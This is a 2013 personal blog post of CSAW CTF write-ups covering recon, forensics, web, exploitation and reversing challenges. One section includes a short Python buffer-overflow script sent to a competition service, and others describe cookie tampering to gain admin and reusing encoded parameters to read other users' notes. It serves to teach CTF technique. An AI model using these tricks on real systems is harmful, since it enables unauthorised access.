CSAW 2013 <= 200 write ups (most)

Published: 2013-09-23
Tagged: hacking

Table of Contents

  1. Recon
  2. Misc
  3. Web
  4. Exploitation
  5. Reversing


Recon - Alexander Taylor

I actually didn't finish this challenge, but I thought it was really cool so I'll write the solution anyway:

I do the usual googling and checking and having read last year's recon write-ups, I also check the "judges" page on the CSAW CTF page. We notice that Alexander Taylor's image is the only png so we grab it and run it through pncheck with the -f flag like so:

matt@warp:~/csaw2013$ pngcheck -f ataylor.png 
ataylor.png  illegal (unless recently approved) unknown, public chunk xORk
ataylor.png  illegal (unless recently approved) unknown, public chunk kTXt
ERROR: ataylor.png

I inspected those chunks and see that the first contains ASCII for CSAW and the next chunk contains some mumbo jumbo. This is were I got stuck and left it unfinished. After the competition someone told me the trick and I thought it was really cool and hacker-ish and I solved it for the fun of it.

Basically it turns out the CSAW is a key used to XOR the 34 bytes of the kTXt chunk. It's a simple symmetrical XOR cipher. We essentially have to XOR multiple copies of the key with the message - it's easy because the key is 4 bytes long and the message is 52 bytes long so 52 / 4 = 13. If you don't get it, look at this: 0x43 XOR 0x28 = 'k' 0x53 XOR 0x36 = 'e' 0x41 XOR 0x38 = 'y' 0x57 XOR 0x2C = '{'

Now it should be obvious. Here's a little python script to solve this. I included two outputs, the latter is a more readable one.

key = ['43', '53', '41', '57']
msg = ['28', '36', '38', '2C', '10', '03', '04', '14', '0A', 
'15', '08', '14', '02', '07', '08', '18', '0D', '00', '61', '04', 
'16', '11', '0B', '12', '00', '07', '61', '03', '0C', '73', '02', 
'1F', '02', '1D', '06', '12', '63', '04', '08', '03', '0B', '1C', 
'14', '03', '63', '1D', '0E', '03', '0A', '10', '04', '2A']

# generator function that loops over the key using .next() further down
def key_next(key):
    i = 0
    while 1:
        yield key[i]
        if(i == len(key) - 1):
            i = 0
            i += 1

iter_key = key_next(key)

print ''.join(map(str, map(unichr, [int(i, 16) ^ int(iter_key.next(), 16) for i in msg])))
# more readable one:

for i in msg:
    print str(unichr(int(i, 16) ^ int(iter_key.next(), 16))),


Recon - Julian Cohen

This one was actually really easy with the answer hiding in plain sight. Upon googling HockeyInJune, I found two links. One was on HockeyInJune's wikipedia page (http://omnom.nom.co/) and another was posted on reddit in a thread about CSAW 2013 CTF (http://deathbycats.com/).

Both pages have the same structure, albeit different funny picture. This is where I got stuck for a while until I used netcraft to checkout the records for both sites and interestingly enough, both listed the same IP: There's another funny picture and the key we were looking for.

(Forgot to write down the key and it's been removed from the page)

Recon - historypeats

This one was probably the easiest recon. It boiled down to checking out the github page and hitting up public activity and looking through the commits. What caught my eye were two commits title "removed comments" and "added comments". Both contain key{whatDidtheF0xSay?}

Recon - Kevin Chung

This one received a lot of love with some people even calling up Kevin to ask for the key.

After a bit of googling, it was possible to find Kevin's page, which mentioned CSAW and provided a youtube video. I don't remember the exact video, but it was one of those crappy songs about high school. I looked more into the subject's history, which mentioned that he took part in CSAW HSF (high school CSAW) and he won, so I went down that alley, which brought me to https://hsf.isis.poly.edu/previous_winners/ .

"Kevin Chung" links to https://hsf.isis.poly.edu/assets/uploads/pages/previous_winners/key.txt, which contains the key who_in_the_world_is_kevin_chung

Recon - Brandon Edwards

This recon was very similar to the historypeats recon. At first I googled a lot about the subject, checkout his blog, company blog, twitter, all of that, until I went back to check his github.

Once again, click public activity and you find a commit he made with a comment holding the key{a959962111ea3fed179eb044d5b80407}

Recon - Odin

This was the hardest recon for me. There was even a false flag on the Odin wikipedia page, which got me going for a second but come on, that was too easy.

I couldn't get anything done until I looked back at the 2012 recons and noticed one recon made use of IRC. I hit up the CSAW IRC channel and did a /whois snOwDIN, which gave me a clue in the form of linkedin:chinesespies.

It was easy to hit up the linkedin profile under that url, which contained the key {cookies_are_for_csaw}

Back to top


Misc 50_1

This one was an easy challenge. We download the .pcap file given on the challenge page and open it up in Wireshark. It looks like a telnet session, but I simply used the search tool and looked for "key" and "flag" and quickly found this: flag{d316759c281bf925d600be698a4973d5}

Misc 50_2

Having done this challenge, I thought that maybe this and Misc 50_2 were supposed to be one. Who knows. This one was even easier.

The .pcap file to download was the same as the one in 50_1, but I was also provided with a .pcap.process file. I have no idea what the file is supposed to be, but opening it up in ghex shows us a repeating key{f9b43c9e9c05be5e08ea163007af5144}

Misc 100

(This is the challenge image above)

This one was golden. It honestly took me quite a few hours of coming back to it to finally figure it out.

The challenge is a png file with, I assume, writing done in the alpha channel for transparency (not sure if I'm using the correct jargon). To the naked eye it looks like a white picture. Filling it with other colors using a bucket tool doesn't show anything. However viewing the file in ghex shows us that it definitely holds data.

By chance I got up from my laptop and saw something at an angle. It was the key! I also used gThumb's "equalize" tool, which brought out the key in full view.


Misc 200

This one was pretty cool too. Took me a good two days, but the hint really helped.

We are provided with a broken png file so I go at the file with pngcheck and notice that the CRC for the iHDR chunk is bad. I repair the chunk in ghex and I'm now able to open the picture.

We are provided with a picture of a whiteboard with a bunch of writing, mainly "deeeaaadbeeeeeeeeef" on top, some subbreddit names on the side and a few other sriblings. This is where I got stuck until the hint came.

The hint featured the same image, but larger and a large arrow pointing at the "extra" space along with the word "noobs". It took me a few minutes to realize that the initial png is smaller because it's only part of the original picture, so I used ghex to edit the png and change it's resolution and after a few tries, I was able to see the entire image, which contained the key: Key{TheISISPasswordIs}

Back to top


Web 100

We are presented with a pretty bare login page. Having remembered last year's CSAW writeups, the first thing I check are the cookies and lo and behold - they have an "admin" value set to false. I change it to true via firebug and bam, we get the key, which I again forgot to write down.

Web 200

This time it's a tiny bit more complicated. Once more I forgot to write the key down, I think it was due to the caffeine running through my veins.

We are presented with a small portal that saves our notes and allows us to message other users. The first thing I noticed were the incredibly long URLs, so I tried to base64 decode them, thinking that maybe they contain the notes, but nope. During this I noticed that one can shorten the URL down to 22- 28 characters and it will still take us to the right note.

I noticed that I could copy another user's note url into my own browser see his note followed by a list of my own notes. Interesting.

I tried running this through a few python scripts meant to decode various encodings, but didn't get anywhere. I finally started playing around with the editnote.php and viewmessage.php, specifically I noticed that both use the enc= field.

I started feeding the enc field with different things until I think I fed editnote.php?enc with a digest from viewmessage.php and suddenly I saw another user's list of notes and I could access them. Now how do I go about finding the user with the key? I was lost..

But I tried the same trick a few times until I chanced upon a note list containing the note titled "key", which contained the winning key for the challenge.

I'm not exactly sure if this was the correct solution, but I tried this a couple more time with a different notes and eventually they all led me to different user's note lists, each containing a "key" note, so I assume I got the right answer.

Web 400

This was the one that did me in. I was at it up until the last 5 minutes of the CTF. I failed, but I think it's a noteworthy challenge so I'll sum it up along with a brief description of my efforts and then link to an excellent write up on the solution.

We are given a link to a portal about widgets. A widget is a piece of data with a name and a value. We can create a user and then we can use that user to create widgets and view our own widgets.

These widgets are open to html and javascript injection, but this leads to nowhere. I also tried local file inclusion, but nada. Finally, I wrote a dirty script that scraped other people's widgets and coughed up a csv file for me to look at. I tried quite a few of those, but that didn't give me anything. At that point I was up for a bit over 17 hours, most of which was spent staring at a screen and the ctf was about to end in 5 minutes, so I let it go joined the IRC channel.

So here is the promised write up that contains the right solution: http://thehackerblog.com/csaw-2013-widgetcorp-writeup-with-bonus-coolness/ .

Back to top


Exploitation 100

This was the only exploitation I was able to do. It was also the first buffer overflow that I performed in my life and it definitely got my blood running.

We are given and IP and port, an ELF executable and .c file containing the following snippet:


void handle(int newsock) {
    int backdoor = 0;
    char buffer[1016];
    memset(buffer, 0, 1016);

    send(newsock, "Welcome to CSAW CTF.", 21, 0);
    recv(newsock, buffer, 1020, 0);
    buffer[1015] = 0;

    if ( backdoor ) {
        fd = fopen("./key", "r");
        fscanf(fd, "%s\n", buffer);
        send(newsock, buffer, 512, 0);


Thankfully, I went through King's book titled C - A modern approach and I could make out what was going on. At first it all looked fine to me but then I noticed the buffer is 1016 bytes long, but the recv function is told to put 1020 bytes into it. Interesting.

We have to get backdoor to equal 1. We also have a function that overwrites memory outside of the intended space. Let me try to send a long string of 0x01 to it, which will overwrite backdoor. I mean it's declared just above buffer, so they have to be pretty close in memory, right? I punch out a small python script that does just that - connects to the IP on the right port, receives the banner and replies with a long string of 0x01's and then listens for a reply:

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(('', 31337))
print s.recv(21)
s.send('\x01' * 1020)
print s.recv(512)

We get back a string flag{7c1fbb502632bffa6e62ba6fa847681f}.

Imho this a great way to demonstrate how a buffer overflow (I hope I'm correct on this one) work to someone.

Back to top


Reversing 100_1

We are given an .exe file called something along the lines of DotNetReversing.exe. I've never done any dotnet reversing so I checkout google and I see that .net compiles into bytecode similarly to Java, so it's possible to pull out the source code from an executable. Amazing.

When we run the executable, we get a command prompt asking us for a passcode. Hm.

I quickly discover a trial version of Reflector and use it to sift through the executable. The main function contains all we need to know - the encrypted key and a routine that checks the passcode. It looks like, after punching in the correct passcode, the executable will decrypt the key for us. Awesome.

How do we get the passcode? Well, we notice that there's a simple if call that compares the XORed value of two numbers against a third one. The second and third one are given in the source, what could the first one be? Because XORing is symmetrical, we can just XOR num3 and num2 to get num1 and we obtain 13371337255.

We use that in executable and it spits out flag{I'll create a GUI interface using visual basic...see if I can track an IP address}

Reversing 100_2

We are given another .exe file, but this time it's not dotnet. Upon running it, it throws and error and quits. I download ollydbg2.0 and start stepping through the code.

After playing around with some jumps, I see the one responsible for quitting, and I NOP it out and the program executes further on, throwing another message box, which contains the key were looking for.

(Sorry, forgot to copy the key again).

Reversing 150 - Bikinibonanza

We are given a dot net executable with a picture of a saw and the sea. Sea Saw. How nice. There's also a text input box and a submit button. I play with it for a while and only get back some cheeky responses.

I dig in with Reflector once again and look at the code. It's been slightly obfuscated, so none of the functions have names. However, Reflector can still take us to each function when we click on it so I build a mental model of how the program works.

It's similar to Reversing 100_1 in that it decrypts the key we're looking for for us, but we have to supply it with a passcode. Except that it's much more complex and built out.

At some point I see that a function takes a defined string, if I remember correctly it was "NeEds_MoRe_BawLz" or something similar, the current hour as an integer and a pointer to an empty string. Once again, thank god for King's book on C, so I knew a bit about how pointers work and figuring them out in C# took all of 10 minutes on MSDN.

This function takes the Bawlz string, used two do..while loops and the current hour to rework it into something crazy and then passes it through an MD5 hashing function. This is the key we're looking for. I didn't figure out how to recompile a dot net executable after decompiling it so I took the easy way out - I replicated the algorithm in Python and ran it for all hours of the day, then selected the pass code for my local time:

from hashlib import md5

def primes(one, two):
    return [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41,
         43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101,
          103, 107, 109, 113][two] ^ one

def that_hash(empty):
    bitarray = md5(empty).hexdigest()
    return bitarray

def decode(bawlz, hour):
    for g in xrange(2, hour):
        empty = ''
        i = 0
        if(0 < len(bawlz)):
            for bawl in bawlz:
                ch = bawl
                num = 1
                if(1 < g):
                    while(num < g):
                        ch = str(unichr(primes(ord(ch), num)))
                        num += 1
                empty += ch
        yield that_hash(empty)

secret = 'NeEd_MoRe_Bawlz'

f = open('output.txt', 'w')

for i in decode(secret, 24):
    f.write('%s\n' % i.upper())
    print i.upper()

The key for me at the time was 0920303251BABE89911ECEAD17FEBF30

Reversing 200

(This is the jump where the magic happens)

This time we get a non-dotnet executable file. Shame, I was having a lot of fun. This one took a huge chunk of my time, since it was quite a while since I did anything in ollydbg or assembly.

I haven't read the other write-ups yet so my solution is probably very clunky - I pretty much got kinda lucky through doing a hit-or-miss thing.

The executable gives us an error with jumbled up text. So we know the key is inside there and it's luring us in. Sneaky.

First, I took my sweet time to step through the code and see what's happening. I noticed that the default path copied a few bytes from memory and into a heap allocated place in memory, which was then used by a function to call the error message I mentioned in the previous paragraph.

Ollydbg was kind enough to annotate the assembly right after with statements suggesting there was a switch with three cases. The exe used a TEST instruction to check the address of the empty heap with 0x00000003. By changing the heap address between 1 and 3, I was able to hit all 3 switch cases, but none gave me the key.

I dug into asm reference manuals to figure out how exactly things like CMP and TEST work, which flags are set etc. and after a while I went back to this challenge.

First, I changed the heap address by one instead of setting it to 0x00000001 and ran the code. It still gave me jumbled up text, but it was jumbled in a different way.

So I decided to change the address of the encrypted text, also incrementing it by 1, ran the exe and bam, the message box held the unencrypted key, which, as a few other keys, I failed to write down.

Hi, I'm Matt.

This blog is an unordered set of thoughts extracted from the mind of a software developer.

About Me PGP key

Archives  Feed  The Photolog!  t: pr0tagon1st